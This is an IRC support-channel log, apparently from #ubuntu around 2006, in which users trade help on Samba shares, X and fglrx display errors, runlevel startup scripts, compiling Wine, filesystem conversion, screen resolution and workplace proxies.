[11:07] <GnarusLeo> I have shared a dir on my ubuntu, and while trying to access it from remote computer it asks for a passwrod .... (though I havent set one)
[11:07] <Narada> iskywalker: Yes.  Where are the kernel sources?
[11:07] <LoCusF> does that debian package on skype's webpage work?
[11:07] <GnarusLeo> LoCusF, of course
[11:07] <iskywalker> in /usr/src/linux
[11:07] <LoCusF> oh
[11:07] <iskywalker> where they always are
[11:07] <raptorx> Does anyone know why when i try to use fglrxinfo it says Unable to open display: 0
[11:08] <iskywalker> raptorx are you root?
[11:08] <Hoxzeri> Gnaruleo: u use samba?
[11:08] <raptorx> iskywalker, lol i hope thats not the problem, let me check
[11:08] <GnarusLeo> Hoxzeri, I just "System - admin - shared folders" and shared one there
[11:08] <GnarusLeo> raptorx, maybe your X runs on a different display, ie :1 :2 etc ..
[11:08] <iskywalker> maybe you shoud set as logged user xhost localhost or xhost +
[11:08] <raptorx> iskywalker, even under root it gives me that error
[11:09] <iskywalker> raptorx: echo $DISPLAY
[11:09] <iskywalker> what tells you
[11:09] <iskywalker> and put as the user you logged in xhost +
[11:09] <Narada> iskywalker: There's nothing in /usr/src/.
[11:10] <Frogzoo> Narada:install pkg kernel-tree-2.6.10
[11:10] <iskywalker> Narada: then you need to download the sources
[11:10] <bigfoot1> how do i know if i gave gstreamer installed? What's the opposite of gstreamer?
[11:10] <Narada> I see.
[11:10] <raptorx> gnarusleo, well, Xgl claims is "running" on 93 but it is not working, I can't get it to run on 1
[11:10] <Frogzoo> Narada: or kernel-source-2.6.10   think this is preferred
[11:11] <raptorx> iskywalker: tried echo $DISPLAY, its blank
[11:12] <iskywalker> well raptorx: export DISPLAY=:0.1
[11:12] <iskywalker> well raptorx: export DISPLAY=:0.0
[11:12] <Jhair> bigfoot1: the opposite is to uninstall gstreamer
[11:12] <Jhair> bigfoot1: why do you need gstreamer?
[11:13] <GnarusLeo> raptorx, and try rendering a 3d screensaver in full screen to check if its actually fglrx driver who's running
[11:13] <GnarusLeo> raptorx, can also be done by flrgx_gamma I think
[11:13] <bigfoot1> Jhair: for soundconverter. Ii think soundconverter needs gstreamer.I want to downgrade some 128 kpbs mp3s to say 64 kpbs or lower
[11:14] <Hoxzeri> Lol
[11:14] <raptorx> GnarusLeo: X won't run
[11:14] <iskywalker> bigfoot1: you lame-mp3 then!
[11:14] <bigfoot1> Jhair: opposite as in : the program that does what gstreamer does, but isn't gstreamer. The program that can't be installed alongside gstreamer
[11:14] <iskywalker> raptorx did you set your display?
[11:14] <bigfoot1> iskywalker: is lame-mp3 the same as "lame"
[11:14] <bigfoot1> ?
[11:15] <GnarusLeo> raptorx, Oh! So X isnt running at all? Wich error do you got? And did you get it after adding flgrx-drivers?
[11:15] <raptorx> iskywalker: I did, but then I tried getting Xgl running with no luck
[11:15] <bigfoot1> iskywalker: if so, i want a gui
[11:15] <bigfoot1> i don't want to be typing stuff into terminal
[11:15] <Hoxzeri> I will never use irc again if im waiting for lesson to start
[11:15] <raptorx> isktywalker: I guess i'll just reinstall and stick with X
[11:15] <Hoxzeri> I e
[11:15] <iskywalker> raptorx: what does it says now?
[11:15] <Narada> Frogzoo: thanks
[11:15] <marten71> hello is it possible to install Ubuntu from a network or from the web
[11:16] <GnarusLeo> I have shared a dir on my ubuntu, and while trying to access it from remote computer it asks for a password .... (though I havent set one)!
[11:16] <Hoxzeri> I fucking didn't notice that it started
[11:16] <iskywalker> bigfoot1: well, i am not used with guis :)
[11:16] <_Rappy_> Ubuntu + Prism2.5 = no good
[11:16] <iskywalker> marten71: yes you jut need 3 debian install disks, and a 1,5 gigbyte connection (for downloading)
[11:16] <GnarusLeo> Its 2006! we _need_ some gui :)
[11:16] <Hoxzeri> Do guys know how much does it piss me off
[11:16] <raptorx> iskywalker: when I try to start Xgl it says its running on 93, tty7 is frozen on an orange screen, fglrxinfo still says it couldnt connect
[11:16] <bigfoot1> is xine the opposite of gstreamer ?
[11:17] <bigfoot1> how do i know whether i have gstreamer installed?
[11:17] <Hoxzeri> Fucking much
[11:17] <Jhair> boabsta: dpkg -l | grep gstreamer
[11:17] <raptorx> iskywalker: brown screen*
[11:17] <Hoxzeri> It is killing me
[11:17] <iskywalker> raptorx: do you have already started X?
[11:17] <Jhair> boabsta: sorry
[11:17] <Hoxzeri> Just does it
[11:17] <Jhair> bigfoot1: dpkg -l | grep gstreamer
[11:17] <Frogzoo> GnarusLeo: as long as it's still scriptable...
i am new at this. 1,5gigabyte ?
i cant get the dvd to work
[11:18] <raptorx> iskywalker: hmm I believe it is, whats the command to kill all of the X servers
[11:18] <iskywalker> yes, sometimes you have a connection that does only permits you to download till 1 gig (then you must pay for every 1 megabyte you download addicionally)
[11:18] <martin> how can i switch the keyboard layout to english layout?
[11:19] <iskywalker> marten71: yes i had the same problem
[11:19] <GnarusLeo> raptorx, ps aux | grep X ... and kill -9 <pid to the job>
 i have free download no limit
[11:19] <Frogzoo> marten71: install keyboard applet & you can switch
what are the debian disk are they at there home page
[11:20] <bimberi> martin: System -> Preferences -> Keyboard (to add new layouts)
[11:20] <martin> thanks but in config files
[11:20] <martin> i have only icewm installed
 and then what shall i do
[11:21] <iskywalker> marten71: http://www.debian.org/releases/stable/i386/ch04s03.html
thanks i will look at it
[11:22] <Frogzoo> marten71: it's a gnome thing, soz
[11:22] <iskywalker> marten71: wait
[11:22] <gorillix> martin setxkbmap -model pc104 -layout en -variant basic
[11:22] <iskywalker> you need after installing debian install ubuntu
[11:23] <iskywalker> you need a second step
[11:24] <riaal> can anyone help me make my program startup script runn when i enter run-level 3?
[11:24] <Frogzoo> riaal: /etc/rc3.d
ok what is the second step
[11:24] <riaal> Frogzoo, what do you mean?
[11:25] <s|k> what version of gnome does dapper use?
[11:25] <snowblink> riaal, man update-rc.d
[11:25] <lehmama> iskywalker: no, only have the kubuntu_dapper dvd
[11:25] <Frogzoo> riaal: you need to understand how rc.d works - rc3.d is run scripts for run level 3
[11:25] <GnarusLeo> how do I restart samba after changed my smb.conf?
[11:25] <GnarusLeo> so the new settings will be initialed
[11:25] <riaal> Frogzoo, ok thanks, i will read the man pages then
[11:26] <Frogzoo> riaal: take a quick look also at man inittab & take a peek at /etc/inittab - so you can see what's going on
[11:27] <winXperts> Frogzoo, you dont need to for mst changes smb.conf is read every 60 seconds
[11:27] <iskywalker> marten71: well, i dont remember exactly, but you need to modify the /etc/apt/sources.list to get the stuff from ubuntu, and once you installed debian base system, you  modify it, then you must do a apt-get install ubuntu-desktop (search the web for it, i lost the exact page)
[11:27] <Frogzoo> riaal: actually that's another way of doing it - add a line to /etc/inittab
[11:27] <Frogzoo> winXperts: not me dude
[11:28] <iskywalker> lehmama: i would recommend to install debian base system and then upgrade to kubuntu, but maybe you should just try ubuntu and then upgrade to kubuntu?
[11:29] <riaal> Frogzoo, ok, thanks
[11:29] <winXperts> gnarusleo, you dont need to for mst changes smb.conf is read every 60 seconds
[11:29] <winXperts> :)
[11:30] <snowblink> riaal, imho update-rc.d is the cleanest way to change runlevel scripts
[11:30] <Frogzoo> winXperts: kill -HUP is typical for daemons to reread their config
[11:33] <HedgeMage> might one of you helpful folks have a link for me to a list of repos so that I can pick a couple?  I seem to need more than what the default repos have.
[11:33] <defrysk> !repos
[11:33] <ubotu> To enable Universe and Multiverse see http://wiki.ubuntu.com/AddingRepositoriesHowto - Official sources.lists here: http://paste.ubuntu-nl.org/6047 (Breezy) or http://paste.ubuntu-nl.org/6666 (Dapper) see also !easysource
[11:34] <HedgeMage> thanks, defrysk
[11:35] <danboid> How can I install a k8 ubuntu kernel on i386 breezy? Will this bring big speed benefits to running mencoder?
[11:36] <riaal> Frogzoo, so i add a line in inittab and put the skript in the right rc#.d ?
[11:37] <iskywalker> here for all having problem with install (lehmana, marten71): http://ubuntuforums.org/archive/index.php/t-103798.html
[11:37] <s|k> how do I unpack a .bz2?
[11:38] <bimberi> s|k: bunzip2
[11:38] <natroll> !debhelper
[11:38] <ubotu> natroll: Did you get hit by a windmill? Try searching at http://ubuntu.cc.com.au/
[11:38] <s|k> thanks
[11:38] <LoCusF> would someone test skype with me?
[11:38] <LoCusF> I just bought my headset and I wanna test it
[11:40] <snowblink> riaal, update-rc.d -n yourservice start 99 3 .
[11:40] <riaal> snowblink,  oh, can you explain that line plese?
[11:40] <snowblink> riaal, just make sure yourservice is in /etc/init.d
[11:40] <snowblink> riaal, have you read any of my messages to you?
[11:41] <riaal> snowblink, not sure =S
[11:41] <snowblink> riaal, man update-rc.d
[11:41] <riaal> snowblink,  ok i will read it and get back to you
[11:41] <riaal> snowblink, thanks btw
[11:42] <snowblink> riaal, inittab would be the wrong place to put a user service
[11:42] <iskywalker> LoCusF: there is a secretary eletronic for it
[11:42] <AmNeSiC> hey guys, I have a bit of a newb question... :S about connecting to the net... I can't seem to do it :( anyone help???
[11:42] <LoCusF> iskywalker: where?
[11:43] <bimberi> LoCusF: give 'echo123' a call :)  http://www.skype.com/help/guides/soundsetup.html
[11:44] <iskywalker> LoCusF: bimbery knows! ;)
[11:44] <HedgeMage> I'm *really* going to bed this time.  Later, folks.
[11:44] <iskywalker> AmNeSiC: what says ping 1.27.0.0.1 ?
[11:45] <LoCusF> works perfectly
[11:45] <LoCusF> iskywalker: thanks
[11:45] <iskywalker> LoCusF: thank bimbery
[11:46] <AmNeSiC> Im in windows atm iskywalker... and it says 'Request timeout' anyway....?
[11:46] <LoCusF> well thanks bimberi
[11:46] <overrider> iskywalker, not much i think
[11:46] <bimberi> LoCusF: np :)
[11:46] <AmNeSiC> iskywalker all I really want to know is where the option in ubuntu is to create a connection to the net, the ubuntu equivelant to 'Connection Wizard' in Windows...
[11:47] <overrider> should all be in the network preferences
[11:47] <iskywalker> System-> system management -> network
[11:48] <AmNeSiC> ok, thanks.. I'll go try it out... sorry about the newbness :p
[11:48] <iskywalker> overrider: i am a little paranoic (it that doesnt work, then he has a big problem :) )
[11:53] <Titan> how do I correct this?  titan@Titan:~/wine-0.9.9$ wine
[11:53] <Titan> wine client error:15: version mismatch 221/229.
[11:53] <Titan> Your wineserver binary was not upgraded correctly,
[11:53] <Titan> or you have an older one somewhere in your PATH.
[11:53] <Titan> Or maybe the wrong wineserver is still running?
[11:54] <htinn> sudo dpkg -r wine
[11:54] <htinn> maybe
[11:54] <Titan> I will try, thanks
[11:55] <Titan> titan@Titan:~/wine-0.9.9$ sudo dpkg -r wine
[11:55] <Titan> dpkg - warning: ignoring request to remove wine which isn't installed.
[11:55] <htinn> i guess you need to sudo dpkg -i wine first :P
[11:55] <htinn> hehe
[11:56] <htinn> kind of hard to remove it when it isn't installed in the first place
[11:56] <Titan> titan@Titan:~/wine-0.9.9$ sudo dpkg -i wine
[11:56] <Titan> dpkg-deb: `wine' is not a debian format archive
[11:56] <Titan> dpkg: error processing wine (--install):
[11:56] <Titan>  subprocess dpkg-deb --control returned error exit status 2
[11:56] <Titan> Errors were encountered while processing:
[11:56] <Titan>  wine
[11:56] <Frogzoo> I think wine's there somewhere, as that's where the errors are coming from o_O
[11:56] <htinn> or just get wine through Synaptic
[11:57] <fluxt> sounds like a plan
[11:57] <htinn> i usually compile from source, but you probably don't want to do that
[11:57] <Frogzoo> Titan: what did you do to break wine? or how did you install it originally?
[11:57] <Titan> I can not get wine through synaptec, see I need to compile from source because I need to patch it to work with World of Warcraft.
[11:57] <htinn> ah
[11:58] <htinn> well, at some point you need to sudo make install in the src folder
[11:58] <fluxt> gee it's rather quiet in here tonite, strange huh
[11:58] <htinn> then remember to sudo make uninstall if you want to remove wine later
[11:59] <rysiek|pl> any usplash devs or gurus over here?
[11:59] <fluxt> rysiek|pl: i know how to rid it :)
[11:59] <Titan> I have done that but get that first error I posted here when I try to run wine
[12:00] <Titan> did you have a suggeston fluxt?
[12:00] <rysiek|pl> fluxt: I know how to change it, I know how to create my own, I know what are the *exact* coords of the progress bar and messages area. What I don't know is why the b;loody hell usplash.sh does *not* call console-fonts.sh, as it's supposed to
[12:00] <fluxt> Titan: i'd like to know if this works
[12:00] <Remenic> The following packages have been kept back:
[12:00] <fluxt> Titan: you can't compile wine? sorry i havn't been following...
[12:01] <Remenic> why does it always show a list of packages here?
[12:01] <Remenic> I don't really care what packages have been kept back
[12:01] <Remenic> I'm not sure what to do with that information
[12:01] <Titan> fluxt: I have compiled wine and did sudo make install but I get this error                           titan@Titan:~/wine-0.9.9$ wine
[12:01] <Titan> Titan wine client error:15: version mismatch 221/229.
[12:01] <Titan> Titan Your wineserver binary was not upgraded correctly,
[12:01] <Titan> Titan or you have an older one somewhere in your PATH.
[12:01] <Titan> Titan Or maybe the wrong wineserver is still running?
[12:02] <fluxt> thats after installing a .deb file or something?
[12:02] <rysiek|pl> Titan: tried to install from the WINE repos?
[12:02] <Titan> rysiek|pl I need to compile, I need to patch to originial to work with World of Warcraft.
[12:02] <Frogzoo> rysiek|pl: Titan has extreme need for WoW
[12:03] <fluxt> Titan: so it compiles ok?
[12:03] <Titan> fluxt: that is after running ./configure then make depend && make, then sudo make install.
[12:03] <fluxt> all of that goes fine i take it
[12:04] <Titan> fluxt, well, I am not really sure it does, I am still kind of new to linux
[12:04] <fluxt> did you remove the previous version of wine you'd installed with apt-get/synaptic ?
[12:04] <Titan> I do not get any error messages that stop the process that is.
[12:04] <Titan> fluxt, yes I did.
[12:04] <htinn> did you run winecfg?
[12:05] <fluxt> hmmm
[12:05] <Titan> no
[12:05] <thomas`> i got a quick question that needs to be answered
[12:05] <fluxt> perhaps if you trash ~/.wine
[12:05] <rysiek|pl> Titan: try WineTools
[12:05] <Titan> htinn I will try that.
[12:06] <fluxt> also Titan there is a #winehq chan where they are experts on the topic
[12:06] <fluxt> i'll just prod google about it a little
[12:06] <Titan> fluxt. thanks :)
[12:06] <rysiek|pl> Titan: and take a look on: http://www.von-thadden.de/Joachim/WineTools/
[12:06] <rysiek|pl> thomas`: just ask the damn question, man :)
[12:06] <Titan> rysiek|pl, will do, thanks
[12:06] <rysiek|pl> nop
[12:06] <fluxt> Titan: i'd *REALLY* like to know if you get it working :)
[12:07] <thomas`> could i convert a ntfs drive secondary hd(warez) to reiserfs so i can read/write from my ubuntu? once i go pure linux and delte all my windows partitions and run linux in all its 250gb glory and have my secondary drive reisferfs
[12:07] <rysiek|pl> thomas`: you can have read/write on NTFS with Captive
[12:07] <thomas`> is it safe?
[12:08] <thomas`> i wouldn wanna screw my drive
[12:08] <riaal> how do i put a link in rc3.d (so my script starts?)
[12:08] <rysiek|pl> thomas`: it uses the original M$ drivers :]  just setups a compatibility layer between the drivers and the kernel
[12:08] <thomas`> and lose all my mp3s xvids ect
[12:08] <thomas`> oh really
[12:08] <thomas`> well is that hard to setup?
[12:08] <thomas`> im not a newb
[12:08] <thomas`> i learned a bit in my week of running it
[12:08] <thomas`> alot to want to go pure linux
[12:09] <rysiek|pl> thomas`: no, but if you wanna go pure Linux
[12:09] <rysiek|pl> I would suggest simply copying
[12:09] <Frogzoo> riaal: /etc/rc3.d is a directory - just move it there, & name it S20script_name
[12:09] <rysiek|pl> the data
[12:09] <thomas`> yea
[12:09] <thomas`> i am
[12:09] <thomas`> gonna put whatever it is i want
[12:09] <pvd2006> Is XFCE really that much faster than Gnome/KDE?
[12:09] <thomas`> on the secondary drive
[12:09] <thomas`> from my windows shit
[12:09] <thomas`> and i want ot grab some stuff from my already cuirrent ubuntu
[12:10] <thomas`> i am gonna format and move on with this once dapper final comes out
[12:10] <riaal> Frogzoo, dosnt the script need to be in the etc/init.d folder?
[12:10] <rysiek|pl> thomas`: in that case I don't think you need captive
[12:10] <rysiek|pl> nor a way of converting NTFS to Reiser
[12:10] <Frogzoo> riaal: no - you can put it there if you like & put a symlink in rc2.d
[12:10] <riaal> Frogzoo, i just want a "sym link" to it from there
[12:10] <thomas`> damn theres no way?
[12:11] <riaal> Frogzoo, what exactly is a symlink? =S
[12:11] <thomas`> like to make all drives both of them reiserfs
[12:11] <thomas`> i think if i formatted my pri drive right
[12:11] <thomas`> and the stuff thats on my other drive
[12:11] <thomas`> i can move it over to pri
[12:11] <thomas`> in a temp folder
[12:12] <thomas`> then format the sec drive and setit up as reiserfs
[12:12] <rysiek|pl> yeah, that should work
[12:12] <thomas`> and move the files back over to the sec drive
[12:12] <thomas`> k cool
[12:12] <thomas`> woudl go raid
[12:12] <thomas`> but i got alot of stuff
[12:12] <rysiek|pl> but that's not "converting", that's just "copying and formatting" ;)
[12:12] <thomas`> i dont wannalose
[12:12] <thomas`> yea true that
[12:12] <thomas`> converting would be to much fo a hassle
[12:12] <thomas`> anyways i guess
[12:13] <riaal> Frogzoo, oh i know what a symlink is, sorry im just tired =P
[12:13] <thomas`> what i suggested seemed like the beest bet
[12:13] <thomas`> lol
[12:13] <pvd2006> hmm it says my screen resolution is 1024x768 but it looks so big
[12:13] <riaal> Frogzoo, i dont need to edit anything in the inittab do i?
[12:13] <thomas`> once i set that up right
[12:13] <thomas`> then ill be able to delete
[12:13] <thomas`> and write
[12:13] <thomas`> do everything
[12:13] <fluxt> pvd2006: does ctrl-alt-numpadminus help?
[12:14] <thomas`> manage the drive without all the restrictions
[12:14] <thomas`> cuz its gonna be all reiserfs
[12:14] <Frogzoo> riaal: no - inittab already runs the scripts in /etc/rcX.d
[12:14] <pvd2006> fluxt, its still the same
[12:14] <thomas`> what filesystem is best for gaming for when dapper drake final comes out
[12:14] <elithrar> What's Linux's ability to write to HFS drives like? Non-existant without inelegant hacks, or native?
[12:14] <thomas`> is there anything better than reiserfs for gaming
[12:14] <thomas`> i heard thats the best
[12:15] <fluxt> pvd2006: want to count the pixels to check ;)
[12:15] <pvd2006> lol
[12:15] <Frogzoo> thomas`: doubt it makes any difference - just put your install on the outside edge of the disk
[12:15] <pvd2006> fluxt, before I updgraded the kernel and all it was running at a higher resolution
[12:16] <thomas`> i hope drake has that xgl and compiz stuff already setup in it once u set it up
[12:16] <riaal> Frogzoo, so ln -s /etc/rc3.d/S20scrLINK etc/init.d/script_name/ can work?
[12:17] <fluxt> pvd2006: oh, are you using a kernel driver or an commercial driver for video?
[12:17] <thomas`> it really looks cool
[12:17] <pvd2006> fluxt, Kernel driver I assume
[12:17] <fluxt> or is the driver in x11 anyway..
[12:17] <fluxt> ahh
[12:17] <pvd2006> I dont think they have a driver for my card in linux?
[12:17] <fluxt> pvd2006: checked your xorg.conf ?
[12:18] <pvd2006> no I can do that
[12:18] <thomas`> how did u try it? with waht
[12:18] <thomas`> i had this livecd i dl'd but it wouldnt load
[12:18] <fluxt> pvd2006: also have you tried different setting resolutions?
[12:18] <rysiek|pl> brb
[12:18] <htinn> makes the windows a little to wobbly for my taste
[12:18] <thomas`> it would stop at the penguin loading screen
[12:18] <fluxt> htinn: what was it like?
[12:18] <htinn> it needs a bit of work, that's for sure
[12:19] <thomas`> i saw vidsof it very impressive
[12:19] <Frogzoo> riaal: sudo ln -s /etc/init.d/script /etc/rc3.d/S20script
[12:19] <thomas`> and will be hella useful
[12:19] <Zarephath> I am getting this error can someone advise what I need to install? error while loading shared libraries: libgtk-1.2.so.0
[12:19] <pvd2006> what directory is xorg.conf in again? etc?
[12:19] <Zarephath> /etc/X11
[12:20] <Zarephath> Hey Seveas
[12:20] <riaal> Frogzoo, oh, thanks mate. btw if i want to have the script started whit the argument start can i just add it to the link?
[12:20] <Frogzoo> Zarephath: libgtk at a wild guess
[12:20] <fluxt> Zarephath: you could remove+install libgtk-1.2 ?
[12:20] <fluxt> lol Frogzoo
[12:20] <Frogzoo> riaal: it will be passed 'start' as an arg by default
[12:21] <Zarephath> Frogzoo: I looked and ran apt-get couldn't find the package...
[12:21] <okta> korea
[12:21] <fluxt> !kr
[12:21] <ubotu> parse error: Try searching at http://ubuntu.cc.com.au/, fluxt
[12:21] <pvd2006> I am in the section screen of xorg.conf.custom and I see my screen should go up to 1280x1024
[12:21] <elithrar> What's Linux's ability to write to HFS drives like? Non-existant without inelegant hacks, or native?
[12:21] <riaal> Frogzoo, oh okey, when i enter runlevel 2 will the script automaticly stop then?
[12:22] <htinn> the package is actually "libgtk1.2"
[12:22] <pvd2006> it also lists my graphics card
[12:22] <pvd2006> driver = "nv"
[12:23] <Frogzoo> riaal: you need to create a link /etc/rc2.d/K90script   & the script will be passed 'stop' as an arg
[12:23] <htinn> elithrar: i think HFS+ is ubuntu-supported
[12:23] <htinn> should be in the "main" repos
[12:23] <riaal> Frogzoo, so S20 will start and K90 will stop?
[12:24] <elithrar> htinn: Okay, thanks. Researching into dual-booting OS X and Ubuntu on an x86 Mac, when Ubuntu supports them
[12:24] <htinn> well, the video is the problem, elithrar
[12:24] <Frogzoo> riaal: SNNscript will start (NN are numerals) KNNscript will stop
[12:24] <htinn> nothing more than framebuffer support for IntelMacs right at the moment
[12:25] <fluxt> pvd2006: section screen, look at the modes, see if your mode is listed
[12:25] <elithrar> htinn: I was under the impression Linux could work the Apple's non-BIOS-based system?
[12:25] <riaal> Frogzoo, last question =) what dose NN (20 and 90) stand for?
[12:25] <pvd2006> fluxt,  Modes           "1280x1024" "1024x768" "832x624" "800x600" "720$
[12:25] <htinn> elithrar: Gentoo can already boot no problem with a modded lilo
[12:25] <fluxt> pvd2006: looks good.. strange
[12:25] <Frogzoo> riaal: the numbers are just to determine the order the various scripts get run - from lowest to highest
[12:26] <fluxt> pvd2006: and ctrl-alt-numpad_minux/plus do nothing?
[12:26] <fluxt> minus*
[12:26] <pvd2006> no, it just made it look all weird:-\
[12:26] <Frogzoo> !tell pvd2006 about setres
[12:26] <fluxt> pvd2006: it should change the resolution, define weird
[12:26] <Frogzoo> !tell pvd2006 about res
[12:27] <elithrar> htinn: But I don't wants Gentoo, heh.
[12:27] <pvd2006> it changes the resolution and it doesnt fit on my screen, everything is very low resolution
[12:27] <htinn> i think the main problem for IntelMac is the lack of a decent ATI driver
[12:27] <avu> hi
[12:27] <riaal> Frogzoo, think i got it now. thanks a lot for the help!
[12:27] <Frogzoo> pvd2006: read the linkie from ubotu - especially the bit about set vertrefresh & horizsync
[12:27] <Frogzoo> riaal: gl :)
[12:28] <avu> Is there a way to uninstall a package and all packages that depend on it? I installed kubuntu-desktop and xubuntu-desktop to check out the other desktop environments and now I would like to uninstall everything they installed.
[12:28] <pvd2006> Thanks
[12:28] <fluxt> pvd2006: you did try to set the resolution using the gnome tool right?
[12:28] <pvd2006> yes fluxt
[12:28] <fluxt> ok just checking :)
[12:28] <pvd2006> thanks
[12:28] <pvd2006> im going to read this article
[12:28] <icebreak> does anybody here know how to work the vmware tools installation on dapper ? it doesnt seem to recognize that i'm using X....
[12:28] <fluxt> yup
[12:28] <Quinn_Storm> avu: unless someone knows more than I do, that seems to be one of the failings of the current package management systems.  At least I don't know of amy way to do that.
[12:29] <avu> quinn_storm: bummer :(
[12:29] <bigfoot1> a question: at work, web browser's network options has "proxy server" info filled out. What does this mean?
[12:29] <Seveas> avu, you could try debfoster
[12:29] <rysiek|pl> avu: there has to be a way, gimme a sec
[12:29] <avu> seveas: I will take a look at it, thanks
[12:30] <Frogzoo> bigfoot1: mebbe they've set an autoconfig URL?
[12:30] <bigfoot1> Frogzoo: no. I mean they fill out the proxy servers. what's autoconfig url?
[12:30] <bigfoot1> When I erase the inforamation, i can still surf the web.
[12:31] <Frogzoo> bigfoot1: please be more specific - I don't follow
[12:31] <htinn> avu, there's this http://doc.gwos.org/index.php/Uninstall_kubuntu-desktop
[12:32] <htinn> couldn't find one for xubuntu though
[12:32] <bigfoot1> Frogzoo: ok. in a web browser's advanced settings, you can put in proxy server info. follow?
[12:32] <bigfoot1> Something like: 123.433.348.3983
[12:33] <bigfoot1> My question is: what is this information for?
[12:33] <bigfoot1> I thought it was to connect to the net, but even when i erase that, i can still connect to the net.
[12:34] <Frogzoo> bigfoot1: your web browswer talks to the proxy - then the proxy talks to the server & info returns via same path
[12:34] <avu> htinn: thanks
[12:34] <bigfoot1> what for, Frogzoo?
[12:34] <RabidDog> Looking for help with multip tcp/ip connections, I want the comp to use eth1 for local lan only, and I want it to use eth0 for internet access, I have 2 modems 1 connected to a router which connects to eth1 and a 2nd modem which connects directly to eth0, any ideas how to configure this properly?
[12:34] <bigfoot1> why does the browser need to talk to the proxy?
[12:34] <avu> seveas: debfoster seems like a neat tool in general, thanks!
[12:34] <bigfoot1> or why does my workplace have it set up that way?
[12:34] <rysiek|pl> avu: an answer from #debian: apt-get/aptitude do that automatically
[12:34] <Frogzoo> bigfoot1: usually if they've set up a proxy, you can't connect to the net directly - in your case you can so, I think someone stuffed up
[12:35] <Frogzoo> bigfoot1: 1 - saves B/W 2 - security
[12:35] <Seveas> avu, tip: debfoster -o "UseRecommends=No"
[12:35] <rysiek|pl> avu: so just do: apt-get remove <package_name>
[12:35] <bigfoot1> Frogzoo: what's b/w?
[12:35] <bigfoot1> Frogzoo: security? as in virus protection?
[12:35] <rysiek|pl> but that won't work for kubuntu-desktop nor xubuntu-desktop - they're metapackages, nothing depends on them
[12:35] <Frogzoo> B/W= bandwidth
[12:35] <bigfoot1> firewall?
[12:35] <bigfoot1> Frogzoo: ok.
[12:35] <Frogzoo> exactly
[12:35] <avu> rysiek|pl: exactly
[12:35] <RabidDog> help?
[12:35] <pvd2006> Oh yeah, that is much better now. Screen resolution is a lottttt higher.
[12:36] <IceBreak> where is the guide on installing kubuntu on ubuntu?
[12:36] <Frogzoo> !kde
[12:36] <ubotu> kde is probably A powerful, free desktop environment for UNIX. IRC: #kubuntu #kde ; install from Ubuntu: sudo apt-get install kubuntu-desktop ; ISOs: http://releases.ubuntu.com/kubuntu/breezy/
[12:36] <bigfoot1> Frogzoo: is that also for logging of websites visited?
[12:36] <Hirvinen> IceBreak: The wiki has a search function.
[12:36] <rysiek|pl> avu: maybe try: apt-get remove kde-core
[12:36] <RabidDog> !dual wan
[12:36] <bigfoot1> or could they log that info even without proxy?
[12:36] <ubotu> I give up. Try searching at http://ubuntu.cc.com.au/, RabidDog
[12:36] <Frogzoo> bigfoot1: yes
[12:36] <RabidDog> !network
[12:36] <ubotu> This refers to a group of interconnected computers. The computers must be capable of transferring data to form a true network--you can't just weld a bunch of computers together.
[12:36] <RabidDog> bah
[12:37] <RabidDog> :)
[12:37] <bigfoot1> Frogzoo: yes to which question?
[12:37] <bigfoot1> 1st or 2nd?
[12:37] <Frogzoo> bigfoot1: proxies will log access - but you can get these logs without a proxy, but the proxy approach is much easier
[12:37] <bigfoot1> Frogzoo: thanks.
[12:38] <pvd2006> Is there a way to tweak Gnome to run faster? It is pretty fast, I just like really fast. You know like turn off the animated sections and such
[12:38] <pvd2006> ?
[12:38] <Frogzoo> bigfoot1: best advice is probly avoid sites work wouldn't be happy you visiting
[12:38] <bigfoot1> Frogzoo: does that mean they can see my gmail emails?
[12:38] <milestone> hi all. does anyone know a good graphical network discovery tool?
[12:38] <fluxt> well i had dual lan setup, both used dhcp so they were configure automagically
[12:38] <fluxt> configured*
[12:38] <Frogzoo> bigfoot1: depends on how nosey your sysadmin is
[12:39] <savon> !multimedia
[12:39] <ubotu> multimedia is, like, totally, for codecs, http://help.ubuntu.com/starterguide/C/ch03.html#sect-music-and-movies ; and for applications, https://wiki.ubuntu.com/MultimediaApplications
[12:39] <bigfoot1> Frogzoo: they can access/read my emails on gmail online) even when i use the https url?
[12:40] <snowblink> bigfoot1, if you are concerned then ssh tunnel to a system you trust
[12:40] <GnarusLeo> Why does a remote computer asks for a passwd when trying to open a shared SAMBA folder? I havent even set one?
[12:40] <Frogzoo> bigfoot1: with https you should be safe enough
[12:40] <Knorrie> GnarusLeo: if there's no password, just press enter
[12:41] <bigfoot1> Frogzoo: ok. good to hear that https sites will give me privacy from sysadmins
[12:41] <GnarusLeo> Knorrie, I tried that ... didnt work
[12:41] <RabidDog> Looking for help with multip tcp/ip connections, I want the comp to use eth1 for local lan only, and I want it to use eth0 for internet access, I have 2 modems 1 connected to a router which connects to eth1 and a 2nd modem which connects directly to eth0, any ideas how to configure this properly?
[12:41] <fluxt> without certificates the man in the middle approach is quite simple
[12:41] <Frogzoo> bigfoot1: not all sysadmins go snooping on other people's private mail, just btw
[12:41] <fluxt> and you can filter those out
[12:42] <htinn> RabidDog: why 2 modems?
[12:42] <fluxt> seems you could hijack any secure session...
[12:42] <RabidDog> increased upload
[12:42] <RabidDog> x2
[12:42] <htinn> RabidDog: but all you need is a hub for eth1
[12:42] <Knorrie> bigfoot1: and when using https, by looking at the traffic the remote ip that's connected still can give a hint what website you're visiting
[12:43] <bigfoot1> Knorrie: i don't mind my workplace knowing i'm accessing gmail.com, as long as they can't read the emails.
[12:43] <IceBreak> RabidDog: isnt that just a matter of setting netmask ?
[12:43] <RabidDog> one modem is connected to a dgl 4300 router for dedicated gaming
[12:43] <RabidDog> IceBreak, I have no idea is it, this part is all new to me?
[12:43] <bigfoot1> Knorrie: they know i check my gmail, but i hope they can't access my emails
[12:43] <fluxt> i guess a traceroute could also be forged if your real cunning
[12:44] <IceBreak> RabidDog: the eth0 has an 10.0.0.x ip and th eth1 has an 192.168.0.x ip ?
[12:44] <fluxt> you're* (i'm tired)
[12:44] <RabidDog> however I still need all other computers to be able to access the box for samba
[12:44] <RabidDog> IceBreak, yes
[12:44] <IceBreak> RabidDog: and it doesnt work that way currently?
[12:45] <Quinn_Storm> hey, I'm using an x server w/ composite & compositing manager...does anyone know how to get gdesklets to actually properly use this support?  anything that should be translucent/transparent is just black (though other applications like cairo-clock work fine),  I did start gdesklets with --translucent
[12:45] <IceBreak> bigfoot1: your work reads your gmail ? how about google reading your gmail ? :)
[12:45] <RabidDog> IceBreak, no my outgoing apps can't connect
[12:45] <V4Vendetta> IceBreak, gmail doesn't read people's mail
[12:45] <bigfoot1> IceBreak: but google doesn't know who i am.
[12:45] <IceBreak> RabidDog: so basically you just didnt configure your internet properly, yeah ? It's nothing todo with network layout
